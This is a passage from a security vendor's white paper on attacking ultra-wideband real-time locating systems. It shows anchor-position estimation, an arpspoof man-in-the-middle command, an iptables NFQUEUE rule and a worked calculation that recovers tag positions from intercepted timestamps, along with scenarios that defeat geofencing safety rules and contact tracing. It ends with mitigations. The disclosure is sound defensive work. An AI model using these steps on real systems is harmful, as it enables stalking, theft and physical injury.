t0) 0 = (GT(reference, j0, t0) - GT(i0, j0, t0)) * c GT(reference, j0, t0) = GT(i0, j0, t0) GT(i, j, t) = CS(i, t) * (pTs(i, j, t) - sTS(i, t)) + ToF(i) CS(reference, t0) * (pTs(reference, j0, t0) - sTS(reference, t0)) - ToF(reference) = CS(i0, t0) * (pTs(i0, j0, t0) - sTS(i0, t0)) - ToF(i0) pTs(reference, j0, t0) - sTS(reference, t0) = CS(i0, t0) * (pTs(i0, j0, t0) - sTS(i0, t0)) - ToF(i0) Eq. 5 Eq. 15 Eq. 11 Eq. 12 Eq. 4 Eq. 13 Eq. 14 21 "Sewio The Dilution of Precision – Anchor Geometry" 33 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos Given that the distance of each anchor with respect to the reference anchor is known, and given that it can now be safely assumed that the anchor map is as regular as possible and usually a rectangle, by arbitrarily setting the reference anchor in position (0;0), the coordinates of all other anchors can be easily estimated, because they will be given by the two shortest distances obtained from the estimation of the times of flight. For instance, let’s say that we determined that the distances of anchors from the reference anchor are 5m, 7m, and 8.5m. It can safely be estimated that the anchor coordinates are (0;0), (5;0), (0;7), and (5;7), with 8.5m being the diagonal of the rectangle. There is also the possibility of the specular result (0;0), (0;5), (7;0), and (7;5), but this is not a problem—it is just a matter of defining a coordinate system and sticking to it. This was actually tested in the Avalue RTLS, using both FPPL and the RPL. According to the tests done, the best results are obtained using the FPPL with a threshold of 1% between the lowest power level and the highest power level read in a given positioning communication. However, this situation is rare: an attacker may want to use the RPL or raise the threshold in case no suitable communications appear on the wire. Figure 39 - Sewio anchor deployment guidelines. 34 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos As shown in the chart below, using the FPPL with threshold set to 1%, it was possible to estimate the anchor distances with an error of less than 10% with respect to the real value. Remembering that this translates into an average error of less than 20% during the computation of the tag positions, this can be accurate enough for attack scenarios where cm-level precision is not required. In the previous sections, we defined the scope of our research, described the necessary data and steps to compute the position of a tag, detailed the reverse engineering work that allows timestamps to be located inside the network packets, and explained how an attacker can fulfil the last requirement, that is, estimating the anchors coordinates. In this chapter, we describe the adversary Tactics, Techniques, and Procedures (TTPs), which is the behavior of an attacker wanting to practically abuse these systems. After discussing how a threat actor can obtain access to the target information, we present the two types of attacks that can be enacted: the passive eavesdropping attack, which allows the position of all tags in the network to be reconstructed, and the active traffic manipulation attack, which allows the position of tags detected by the RTLS to be modified. 2.5.1 Traffic Interception To perform any meaningful attacks against these RTLS systems, it is first necessary to: 1. Gain a foothold inside the backhaul network used by the anchors and server for their communications; 2. Execute a Man in the Middle (MitM) attack, to intercept all network packets exchanged among anchors and server, and, notably, the synchronization and positioning timestamps. 2.5 Adversary Tactics, Techniques and Procedures (TTPs) 20.0% 17.5% 15.0% 12.5% 10.0% 7.5% 5.0% 2.5% 0.0% 0% 2% 3% 4% 5% 6% 7% 8% 1% Anchor Coordinates Average Error wrt First Path Power Level (FPPL) Acceptance Threshold 35 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos Network Access: Both Sewio and Avalue RTLS allow either Ethernet or Wi-Fi to be used for the network backhaul. Gaining access to an Ethernet network requires that an attacker either compromise a computer connected to that network, or surreptitiously add a rogue device to the network. Besides of course depending on the computer security practices adopted by the asset owner, the complexity of these actions also varies on the basis of the chosen deployment configuration. As a matter of fact, some UWB RTLS allow anchors and a server to be placed in heterogeneous subnetworks, with the only requirement being that those networks are routed22 (Figure 40). In such cases, there is an increased likelihood of successfully compromising or surreptitiously adding one system in any of the networks traversed by the network communications, if those networks and devices are not adequately designed and protected. As for Wi-Fi, both solutions support WPA2-PSK as the security protocol for protecting the wireless communications. Thus, gaining access to the network usually requires either knowledge of the WPA2 password, or the exploitation (if any) of vulnerabilities in the wireless network appliances. Figure 40 - Deployment configurations available on Sewio RTLS. 22 "TDMA Synchronization," Sewio. 36 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos As for the first point, it must be stated that both solutions, out of the box, feature a static password that can be found in the public documentation23,24 (Figure 41). In case an asset owner does not change it, obtaining access to the backhaul network is simple. Man in the Middle (MitM): Depending on the position gained, just obtaining access to the network may not be enough. Since in both RTLS the anchors do not send the information via broadcast packets, a MitM attack might still be required to intercept the communications. However, in the tests executed, it was possible to conduct a MitM on both solutions via standard ARP spoofing attacks just by having one foothold on the backhaul network, and without the RTLSs showing any warnings or abnormal behavior that may alert an operator. The following code command launched from a workstation connected to a generic port of the backhaul network switch allowed all anchors-to-server communications to be intercepted, as well as all server-to-anchors ones: arpspoof -i attacker_eth -t server_ip anchor1_ip & arpspoof -i attacker_eth -t anchor1_ip server_ip Figure 41 - Default WPA2-PSK password on Avalue RTLS. 23 "Network – Wi-Fi," Sewio. 24 “Avalue Renity Artemis Enterprise Kit Quick Reference Guide,” (publicly available to customers). 37 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos By repeating this command for all the anchors in the system, it is quickly possible to intercept all the generated traffic. Figure 42 and Figure 43 report the log of the code commands and the network traffic captured via Wireshark of a successful MitM attack executed against both solutions. Figure 42 - MitM attack against Sewio RTLS. Figure 43 - MitM attack against Avalue RTLS. 38 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos 2.5.2 Passive Eavesdropping Attacks If an attacker has managed to obtain access to an RTLS network and has successfully launched a MitM attack against the anchors and the server, they can now reconstruct the position of tags in the network by simply following one of the standard TDoA algorithms available in literature, such as the one explained in section 2.2.2. In this section, as an example, an execution trace of the previously mentioned algorithm is reported. The aim is to locate an Avalue RTLS tag when positioned roughly in the center of a monitored room. Figure 44 shows the position of the tag as depicted by the RTLS web application. Figure 44 - Target tag position as shown by the Avalue RTLS. 39 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos 90000a052, 90000a05a, 90000a05b, and 90000a05e are the four anchors in use by the RTLS. 1300000020 is the tag. The four anchors are located at the following 2D coordinates: y Coordinates of 90000a052 = (0, 0) y Coordinates of 90000a05a = (6.3308356, 0) y Coordinates of 90000a05b = (6.989999001, -5.28999995) y Coordinates of 90000a05e = (-0.2500003, -4.91999999) To start with, it is necessary to compute the global times of the positioning packets, so that they can be compared together. As indicated by equation 4, besides the collection of all positioning timestamps, this requires capturing the synchronization timestamps of the same iteration, as well as the synchronization timestamps of the previous iteration. By looking at the Wireshark traffic (Figure 45), the timestamps to capture are the ones included in the packets highlighted in pink. Notice that, in this capture, the reference anchor was 90000a052, and that, in the Avalue RTLS, the synchronization timestamp of the reference anchor is duplicated in all synchronization packets sent by the non-reference anchors. Figure 45 - Network traffic generated by the Avalue RTLS. 40 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos The following information was thus extracted: By using equation 3, it is possible to compute the Clock Skews of all anchors for that iteration. With the coordinates reported above, it is possible to derive the times of flight for all non-reference anchors with respect to the reference one, by simply computing their distance and dividing it by the speed of light, i.e., the approximated speed of a signal travelling through air. With these data, it is possible to derive the global times of the positioning packets. Having found the global times of the positioning packets, it is now necessary to compute the distance differences for each non-reference anchor with respect to the reference one. CS(reference, t1) = (3.774681365 - 3.624681109)/(3.774681365 - 3.624681109) = 1 CS(90000a05a, t1) = (3.774681365 - 3.624681109)/(12.44547979 - 12.29547954) = 1.0000000399999 CS(90000a05b, t1) = (3.774681365 - 3.624681109)/(6.256995869 - 6.106995629) = 1.0000001066665 CS(90000a05e, t1) = (3.774681365 - 3.624681109)/(14.5394791 - 14.38947882) = 0.9999998400003 sTs(reference, t0) = 3.624681109 sTs(90000a05a, t0) = 12.29547954 sTs(90000a05b, t0) = 6.106995629 sTs(90000a05e, t0) = 14.38947882 sTs(reference, t1) = 3.774681365 sTs(90000a05a, t1) = 12.44547979 sTs(90000a05b, t1) = 6.256995869 sTs(90000a05e, t1) = 14.5394791 pTs(reference, 1300000020, t1) = 3.967019137 pTs(90000a05a, 1300000020, t1) = 12.63781749 pTs(90000a05b, 1300000020, t1) = 6.449333591 pTs(90000a05e, 1300000020, t1) = 14.7318168 ToF(reference) = sqrt((0 - 0)^2 + (0 - 0)^2)/c = 0 s ToF(90000a05a) = sqrt((6.3308356 - 0)^2 + (0 - 0)^2)/c = 2.11174E-08 s ToF(90000a05b) = sqrt((6.989999001 – 0)^2 + (-5.28999995 – 0)^2)/c = 2.92405E-08 s ToF(90000a05e) = sqrt((-0.2500003 – 0)^2 + (-4.91999999 – 0)^2)/c = 1.64325E-08 s GT(reference, 1300000020, t1) = 1 * (3.967019137 - 3.774681365) - 0 = 0.192337772 s GT(90000a05a, 1300000020, t1) = 1.0000000399999 * (12.63781749 - 12.44547979) + 2.11174E-08 = 0.192337773 s GT(90000a05b, 1300000020, t1) = 1.0000001066665 * (6.449333591 - 6.256995869) + 2.92405E-08 = 0.192337772 s GT(90000a05e, 1300000020, t1) = 0.9999998400003 * (14.73181684 - 14.5394791) + 1.64325E-08 = 0.192337773 s Delta(reference, 1300000020, t1) = (0.192337772 - 0.192337772) * 299792458 = 0 m Delta(90000a05a, 1300000020, t1) = (0.192337772 - 0.192337773) * 299792458 = -0.299792458 m Delta(90000a05b, 1300000020, t1) = (0.192337772 - 0.192337772) * 299792458 = 0 m Delta(90000a05e, 1300000020, t1) = (0.192337772 - 0.192337773) * 299792458 = -0.299792458 m 41 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos Finally, it is possible to generate all available equations of the non-linear system of equations. As we are interested in two coordinates, only two equations are needed to compute a solution. For instance, in case we solve a system using the second and third equations, the result is shown in Figure 46. It is also possible to use the additional available information to increase the precision of the computed tag position, which may be influenced by external factors. Figure 47 reports the plot of the computed position on a chart. -0.299792458 = sqrt(X1300000020,t1^2 + Y1300000020,t1^2) - sqrt((X1300000020,t1-6.3308356)^2 + Y1300000020,t1^2) 0 = sqrt(X1300000020,t1^2 + Y1300000020,t1^2) - sqrt((X1300000020,t1-6.989999001)^2 + (Y1300000020,t1+5.28999995)^2) -0.299792458 = sqrt(X1300000020,t1^2 + Y1300000020,t1^2) - sqrt((X1300000020,t1+0.250000299)^2 + (Y1300000020,t1+4.91999999)^2) Figure 46 - Solution of a generated non-linear system of equations. Figure 47 - Plot of the computed position of the target tag. 42 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos Figure 48 summarizes the entire procedure that is necessary for a passive eavesdropping attack. 2.5.3 Active Traffic Manipulation Attacks With the ARP spoofing attack detailed in section 2.5.1, and using the same algorithm described in the previous section, an attacker is able to see all the traffic among the server and the anchors and reconstruct the position of arbitrary tags, the only constraint being that they must have a foothold on the same subnet. The logical question that arises at this point is: can an attacker leverage the acquired position to also perform active traffic manipulation attacks? There are many use cases and reasons that may induce an attacker to investigate this possibility. An example may be the desire to tamper with geofencing rules. In RTLS, geofencing rules can be configured, among other things, for access control purposes (an alert is triggered if a certain tag enters a restricted area), or anti-theft purposes (an alert is triggered if a certain tag leaves a defined area)25 (Figure 49). If an attacker is able to alter the position of a tag by modifying the positioning packet related to that tag, it may become possible to enter restricted zones or steal valuable items without the operators being able to detect that a malicious activity is ongoing. Other examples will be described in the next sections. Figure 48 - Passive eavesdropping attack summary. 25 "Geofencing Technology and Applications", Sewio. 43 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos Figure 49 - Anti-theft protection in RTLS. To accomplish such an attack, three subtasks need to be accomplished: y Target Reconnaissance y Active Traffic Filtering y Packet Information Manipulation Target Reconnaissance: In an active traffic manipulation attack, the goal of an adversary is to alter the position of a certain tag to make it appear at a desired coordinate instead of the real one. To successfully deceive an operator into believing a certain tag is positioned at a given coordinate, it is important that the tag movements on the screen appear as natural as possible for the target. Therefore, it is crucial for an attacker to monitor the target position over a relevant time frame (e.g., one week, one month, or whatever is appropriate for the chosen target) and study their normal routine, to make the attack as believable as possible. For instance, if the target of an attack is a tag tracking the motion of a human being, faking its position in a stuttered way with harsh, sudden movements would warn an operator and make them think that, at the very least, a malfunction of some extent is occurring. This reconnaissance phase can be accomplished by simply re-applying the same algorithm described in the previous chapters. Target profiling statistics (e.g., normal routine paths, average speed, minimum/maximum accelerations, or other relevant data) can be automatically generated, in order to finely tune the attack parameters and increase the chances of a successful attack. Active Traffic Filtering: Another major difference with respect to a passive eavesdropping attack is that, in an active traffic manipulation attack, it is important to keep the network traffic “as-is” aside from the set of packets that are related with the target position. Notably, the resulting behavior that needs to be achieved is the following: y if the packet is a synchronization packet, it must be automatically forwarded to the destination (as the alteration of synchronization packets would cause the modification of the positions of all tags monitored by the RTLS, not only the target ones); y if the packet is a positioning packet, verification must be completed to determine if it is related to the target tag. If so, its timestamp must be modified (and the checksum updated). If not, it must be forwarded unaltered to the destination. 44 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos To this extent, many techniques are available. This work leveraged NFQUEUE, a flexible userspace packet handler provided by Iptables. The key idea behind it is to save the spoofed packets into a temporary queue, parse them one by one, determine if they need to be altered or not, then process them accordingly. To do so, a firewall rule was set, to forward the incoming packets to the queue: Iptables –D FORWARD –p {UDP/TCP} -sport {port} -j NFQUEUE –queue-num n With this command, the firewall is configured to redirect all incoming packets from a specified port to the NFQUEUE number n. Then, from the attacking script, it is possible to bind the receiving of each packet to a function that parses them and properly invokes the manipulation routines. Packet Information Manipulation: The final step of the attack is the manipulation of the information included in the packet. In most scenarios, this translates to altering the timestamps and updating the packet integrity fields (RTLS may transmit additional information for specific use cases, e.g., tag battery level, the press of a button on the tag, etc.). Altering the timestamps is simply a matter of inverting all the equations described in section 2.2.2. If in a passive eavesdropping attack the positioning timestamps are known and the tag coordinates are unknown, then in an active traffic manipulation attack the tag coordinates are known (those will be the target coordinates that an attacker wants to fake for a target tag) and the positioning timestamps are unknown. Starting from equation 8, an attacker can simply execute all algorithm steps in reverse order and, eventually, obtain the positioning timestamps to include in the modified packets for a certain algorithm iteration. Having finalized the packet content, all an attacker needs to do is run the integrity check algorithm used by the target RTLS to generate the packet checksum, then send the modified packets to the target RTLS server. Figure 50 summarizes the procedure necessary for this process. Figure 50 - Packet information manipulation summary. 45 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos In this section, we show how an adversary can practically leverage the primitives that we described in the previous chapter to perform attacks against common real-world use cases for RTLS. 2.6.1 Locating and Targeting People/Assets As described in section 2.1.1, UWB RTLS can be used in real-world facilities to keep track of the position of people or assets: in factories, UWB RTLS help the management system to locate and rescue any employees in case of emergency; in hospitals, they are used to track patients’ positions and quickly provide medical assistance in case of sudden, serious medical symptoms; in generic buildings, they can monitor the position of valuable items; etc. One of the first attacks that an adversary may attempt against a real-world RTLS is to passively eavesdrop on the network traffic with the aim of reconstructing all tag positions and, thus, the position of the related people or assets. There may be a variety of reasons behind this desire: y An attacker wants to gain knowledge on the habits of a target person, with the aim of stalking them and/or causing them harm; y An attacker wants to locate the position of a valuable item, with the aim of stealing it. To programmatically perform such an attack against a real- world RTLS, all an attacker needs to do is develop an attack script that first performs a MitM attack against the RTLS backhaul network as described in section 2.5.1, then runs one of the TDoA algorithms available in literature, such as the one presented in section 2.2. If the attacker does not have prior knowledge of the anchor positions, they will need to account for the preliminary anchor coordinate estimation phase (as described in section 2.4) to obtain the anchor positions. The attack script needs to keep track of all synchronization and positioning timestamps seen on the network, then continuously update the tag positions shown on the map. In our tests, it was possible to develop a Python script capable of enacting the steps described above against both Sewio and Avalue RTLS. Figure 51 depicts an execution of the script against the Avalue RTLS. As can be noticed, the script managed to compute the same position of the target tag as shown by the RTLS web interface. Additionally, no warnings or abnormal behavior that could have alerted an operator were noticeable. 2.6 Attacks Against Real-world Use Cases 46 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos To prevent malicious actors from immediately reusing our results and performing attacks against real-world RTLS, the code of the script has not been released with this white paper. 2.6.2 Geofencing One of the most crucial functionalities of RTLS from a safety perspective is represented by geofencing. RTLS that offer geofencing functionalities allow the configuration of spatial-aware rules that are triggered whenever a tag enters or exits a specific area. For instance, in factories and hospitals, geofencing rules can be set up to trigger the stoppage of hazardous machines in case a human being walks near them. Geofencing rules can also be employed for non-safety related purposes. As an example, in generic buildings, geofencing rules can act as an anti-theft solution that triggers an alert whenever a valuable item leaves a certain zone. From the use cases described above, it is clear that geofencing rules represent a critical functionality of an RTLS and, thus, a valuable target for an adversary. Some examples of attacks that can be enacted follow: y By modifying the position of tags and placing them inside areas monitored by geofencing rules, an attacker can cause the stoppage of entire production lines; y By placing a tag outside an area monitored by geofencing rules, an attacker can cause machinery to start moving when a person is in proximity, potentially causing harm; y By making a tag appear in a steady position, an attacker can steal an item tracked by the tag without raising any alerts. All aforementioned attack scenarios require an attacker to actively manipulate the network traffic, in order to change the position of a tag at will. To programmatically perform this attack against a real-world RTLS, an attacker needs to develop an attack script that first performs a MitM attack against the RTLS backhaul network as described in section 2.5.1, then performs all steps described in chapter 2.5.3, i.e., target reconnaissance, active traffic filtering, and packet Figure 51 - Passive eavesdropping attack against Avalue RTLS. 47 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos information manipulation. Again, if the attacker does not have prior knowledge of the anchors' positions, they will need to account for the preliminary anchor coordinates estimation phase (section 2.4.) The attack script needs to keep track of all synchronization timestamps seen on the network, generate positioning timestamps accordingly to mimic a natural target tag movement, then send the modified packets to the target RTLS server. To verify the possibility of actually interfering with a realistic safety geofencing rule, we configured a Mitsubishi R08SFCPU controller that was part of one of our lab demos to listen to the geofencing alerts raised by the Sewio RTLS and, on the basis of the alerts received, control an electric motor (Figure 52) according to the following rules: y If the controller receives an alert of a tag entering the electric motor geofenced zone, it stops the motor, and turns on the safety warning light ON; y If the controller receives an alert of a tag exiting the electric motor geofenced zone, it restarts the motor, and turns off the safety warning light OFF; Figure 52 - Geofencing demo setup. 48 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos In our tests, it was possible to develop a Python script capable of enacting the steps described above against both the Sewio and Avalue RTLS. Figure 53 and Figure 54 depict an execution of the script against the Sewio RTLS integrated with the previously described electric motor. Notably, the script managed to: y cause the motor to arbitrarily stop, by modifying the position of tags and placing them inside the geofenced zone; y cause the motor to restart even when tags (people) were in proximity to it, by modifying the position of tags and placing them outside the geofenced zone. Again, no warnings or abnormal behavior that could have alerted an operator were noticeable, as the injected positions mimicked the natural movements of the target tag, which were previously studied in the reconnaissance phase. To prevent malicious actors from immediately reusing our results and performing attacks against real-world RTLS, the code of the script is not being released with this white paper. Figure 53 - Active traffic manipulation attack against Sewio RTLS – Placing tag inside the geofenced zone. 49 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos 2.6.3 Contact Tracing Given that RTLS offer the possibility of tracking a person’s movements inside a wide variety of facilities, and the more and more widespread requirements imposed by the COVID-19 pandemic of having a way to keep track of close contacts among people, vendors have started offering contact tracing functionalities. By considering factors such as contact duration, presence of barriers, or even the usage of shared tools for more complex solutions, an RTLS can estimate the risk that a person has contracted a certain disease given a set of positive individuals. As with the previously described use cases, such a feature can become a target for malicious actors. Some examples of attacks that can be enacted follow: y An attacker can induce false contacts among people, aiming to cause a certain group of victims to be erroneously considered at high risk of being positive, thus being forced to preventively quarantine; y An attacker can prevent the detection of true contacts among people, with the aim of facilitating the spread of COVID-19 or other illnesses throughout a company, resulting in downtime due to mass employee quarantine that could have long-term effects (especially for immune-compromised personnel). All aforementioned attack scenarios require an attacker to actively manipulate the network traffic, in order to change the position of a tag at will. This can be done exactly as described in the previous chapter. Of the two analyzed solutions, only the Sewio RTLS offered a contact tracing functionality via tag zones: by defining a validity radius for each tag, a contact is recorded if two tag circles experience a contact event. In our tests, it was possible to develop a Python script capable of interfering with the contact tracing functionality offered by Sewio, as shown in Figures 55 and 56. Notably, the script managed to: y Generate false contact events among arbitrary tags; y Prevent true contacts among tags being detected. Figure 54 - Active traffic manipulation attack against Sewio RTLS – Placing tag outside the geofenced zone. 50 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 2. Methodology and Attack Demos Figure 56 - Active traffic manipulation attack against Sewio RTLS – Preventing a true contact. Figure 55 - Active traffic manipulation attack against Sewio RTLS – Generating a false contact. Again, no warnings or abnormal behavior that may have alerted an operator were noticeable, as the injected positions mimicked the natural movements of the target tag, which were previously studied in the reconnaissance phase. To prevent malicious actors from immediately reusing our results and performing attacks against real-world RTLS, the code of the script is not being released with this whitepaper. 51 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice Among the possible remediations that an end user can implement, the most effective ones are segregation and firewall rules, application of intrusion detection systems (IDS), and traffic encryption. This section presents each of these possible remediations and evaluates the advantages and challenges of each option. As mentioned before, one of the most stringent requirements for the success of an attack is that an adversary has a foothold on the same subnet where the UWB RTLS is installed. Thus, a first mitigation to these attacks is to move the entire UWB RTLS backhaul network to a segregated network, and secure the access to the network both physically and logically, with the aim of preventing unauthorized actors from gaining access to it. This is now mandated by some RTLS vendors26, as shown in Figure 57. 3. Remediations 3.1 Segregation and Firewall Rules Figure 57 - Siemens RTLS4030G operating instructions. 26 "Simatic RTLS Localization System Simatic RTLS4030G Operating Instructions," Siemens, April 2021. 52 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 3. Remediations Figure 58 - Sewio RTLS listening ports. Figure 59 - Avalue RTLS listening ports. While traditional solutions taken from the IT domain such as VLANs, IEEE 802.1X, or firewall rules can be greatly effective for this purpose, some challenging aspects need to be considered. The RTLS server is a critical component to protect in an UWB RTLS backhaul network, as, by design, it needs to listen to all incoming communications from the anchor network and, at the same time, be accessible by the operators monitoring it. The majority of the time, the RTLS server will be hosted on a bare metal or virtual computer with two network interfaces, one attached to the backhaul network, the other attached to a management network. While designing the firewall rules, it must be kept in mind that some RTLS may be configured to expose core network services on all interfaces by default. For instance, we noticed that both Sewio RTLS and Avalue RTLS, as shown in Figure 58 and Figure 59, exposed the services responsible for the processing of packets from the anchors on all interfaces. Although no meaningful attacks can be done without the synchronization and positioning timestamps, there might be room for Denial-of-Service (DoS) attacks from the management network if these services are not filtered via specific firewall rules. By executing a DoS attack, an adversary may temporarily halt the continuous update of tag positions, potentially impeding geofencing rules or contact tracing features from correctly operating for a short amount of time. 53 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 3. Remediations Figure 60 - Nozomi Networks Guardian detecting the MitM attack against Sewio RTLS. Finally, it must be considered that, even if security measures are adopted to enforce network segregation, the lack of transport protection measures in the protocol design of RTLS remains. If an attacker were able to physically attach to the wired network (for instance, by cutting a wire and connecting a device in the middle) or managed to obtain the wireless password (for instance, by cracking a WPA2-PSK handshake), there would be nothing preventing an attacker from successfully accomplishing the attacks described in this white paper, even in the presence of access control measures. Thus, a continuous monitoring of the physical status of the wired network must be enforced, or periodic wireless password rotation and other wireless security best practices must be strictly followed. Another fundamental requirement for the success of an attack is that an adversary must first perform a MitM to obtain all necessary synchronization and positioning timestamps, which are not normally sent via broadcast packets. Consequently, another possible mitigation is to install an IDS in the UWB RTLS backhaul network. By monitoring for signatures such as new ARP frames or new links between nodes (that an attacker is bound to generate), an IDS can quickly detect an ongoing MitM, as shown in Figure 60. 3.2 Intrusion Detection Systems 54 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 3. Remediations Figure 61 - SSH tunnel PoC on Avalue RTLS. Like the previous mitigation, it is still inherently vulnerable to an attacker that performs a physical MitM: if they were able to physically attach to the wired network, or managed to obtain the wireless password, an intrusion detection system would be unable to discriminate between an attack taking place and legitimate traffic, even when featuring application layer inspection functionalities. As a matter of fact, even in the case of an active traffic manipulation attack, the tampered traffic would be indistinguishable from legitimately generated traffic if crafted by an attacker with prior knowledge of a given target’s normal movements. The most effective mitigation that an asset owner can apply is to add a traffic encryption layer on top of the existing communications, to prevent even a physical MitM from successfully tampering with the systems. This option was actually tested on the Avalue RTLS, as it was the only solution that allowed administrative access to the RTLS server as well as the anchors. As a proof of concept, with the goal of using already available tools, we attempted to encrypt all traffic generated by the anchors by encapsulating it through an SSH tunnel. First, a classic SSH tunnel was created, by connecting each anchor to an SSH service exposed by the RTLS server and setting up a local port forwarding service. Then, an instance of code was run on the server and all anchors, to create the UDP to TCP (and vice versa) bridges that are necessary to tunnel the network traffic generated by the anchors (that is UDP) inside SSH (that supports only TCP) and then back to UDP for the server processing. Finally, all anchors were configured to send all traffic to the internal service exposed by the code instances running on them. A result of the experiment is depicted in Figure 61. 3.3 Traffic Encryption 55 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice 3. Remediations As can be noticed by the evidence, the PoC was successful: all traffic generated by the anchors to the server was tunneled inside SSH and, consequently, protected from any MitM attacks, while at the same time preserving the basic RTLS functionality. However, even in this case, some challenges need to be solved. First, the extra effort produced by the SSH tunnelling increased the load of the anchors and, eventually, led to a perceived delay of the RTLS server with respect to the real-time tag positions. To counteract this effect, it was necessary to increase the period of synchronization packets from the default 150 ms to 500 ms to decrease the number of communications generated by the anchors, at the expense of a reduced position accuracy. This might be a problem for some asset owners that need real-time, precise tag positioning. Finally, the possibility of enabling such encryption layers on top of the already existing technologies depends entirely on the accessibility of the RTLS server and anchors from the vendor. If either the server or the anchors do not allow administrative access (as was the case with the Sewio RTLS, whose anchors do not expose any SSH access), enacting this solution either requires an extensive work of firmware modification to enable it, or is simply not viable. 56 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice UWB RTLS are becoming increasingly common as both businesses and individuals see the benefits to utilizing this technology to increase efficiency, productivity, and location accuracy of people and assets. Although the IEEE 802.15.4z amendment was aimed at increasing the security of UWB, the design of securing critical protocols was “out of scope” and left completely up to vendors who may or may not know how to implement this type of security at the device level. After conducting research on two popular UWB RTLS on the market, Nozomi Networks Labs discovered zero-day vulnerabilities that threat actors can exploit to disrupt and manipulate various environments. Our assessment of these protocols in two popular UWB RTLS revealed security flaws that could allow an attacker to gain full access to sensitive data exchanged over-the-air and impact people's safety. In this paper we provided mitigations that individuals as well as asset owners can implement right away to help mitigate these risks. We believe that this work is important because of the potential impact on people's lives if threat actors were able to exploit the vulnerabilities identified in our research. We hope that by releasing this information publicly we will help raise awareness about how important it is for companies who operate critical infrastructure systems such as airports, hospitals, power plants and manufacturing facilities to ensure the security of their networks to reduce the susceptibility of being compromised by a malicious attacker. 4. Summary and Key Takeaways 4.1 Summary 4.1 Key Takeaways Weak security requirements in critical software can lead to safety issues that cannot be ignored There are attack surfaces out there that no one is looking at, but they have significant consequences if compromised Exploiting secondary communications in UWB RTLS can be challenging, but it is doable 57 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice Andrea Palanca Security Researcher, Nozomi Networks Andrea Palanca is an information security engineer, with a strong background in penetration testing of web applications and network devices. He is the first author of “A Stealth, Selective, Link-Layer Denial-of-Service Attack Against Automotive Networks”, which unveiled a novel way to exploit a design-level vulnerability affecting the CAN bus standard. Luca Cremona Security Researcher, Nozomi Networks Luca Cremona received the PhD title in 2021 from the Computer Science department of Politecnico di Milano. The main research fields of his PhD include RTL design for secure and power-aware SoCs, with a particular emphasis on Side Channel Attack countermeasures. He's currently a security researcher at Nozomi Networks, working on reverse engineering and hardware hacking topics. Roya Gordon Security Research Evangelist, Nozomi Networks Roya Gordon provides insights and solutions for OT and IoT security. Prior to Nozomi Networks, Roya worked as the Cyber Threat Intelligence subject matter expert (SME) for OT and Critical Infrastructure clients at Accenture, a Control Systems Cybersecurity Analyst at Idaho National Laboratory (INL), and as an Intelligence Specialist in the United States Navy. She holds a Masters in Global affairs with a focus on cyberwarfare from Florida International University (FIU). Authors 58 WHITE PAPER UWB Real Time Locating Systems: How Secure Radio Communications May Fail in Practice nozominetworks.com © 2022 Nozomi Networks, Inc. All Rights Reserved. NN-WP-UWB-8.5x11-001 Nozomi Networks The Leading Solution for OT and IoT Security and Visibility Nozomi Networks accelerates digital transformation by protecting the world’s critical infrastructure, industrial and government organizations from cyber threats. Our solution delivers exceptional network and asset visibility, threat detection, and insights for OT and IoT environments. Customers rely on us to minimize risk and complexity while maximizing operational resilience.
pdf
